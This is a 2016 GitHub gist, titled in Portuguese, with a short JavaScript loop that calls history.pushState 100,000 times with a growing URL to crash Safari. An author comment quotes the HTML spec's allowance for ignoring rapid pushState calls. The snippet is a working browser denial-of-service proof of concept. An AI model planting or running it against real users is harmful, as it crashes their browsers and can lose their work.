Skip to content

Instantly share code, notes, and snippets.

@suissa
Created January 25, 2016 23:47
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save suissa/d280b5a7c7b6452bf912 to your computer and use it in GitHub Desktop.
Save suissa/d280b5a7c7b6452bf912 to your computer and use it in GitHub Desktop.
Crash no Safari fazendo um stackoverflow no Pushstate
var total = '';
for (var i=0; i<100000; i++) {
total += i.toString();
history.pushState(0, 0, total);
}
@suissa
Copy link
Author

suissa commented Jan 26, 2016

Os navegadores provavelmente não implementaram isso corretamente:

In addition, a user agent could ignore calls to pushState() that are invoked on a timer, or from event listeners that are not triggered in response to a clear user action, or that are invoked in rapid succession.

fonte: https://html.spec.whatwg.org/multipage/browsers.html#dom-history-pushstate

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment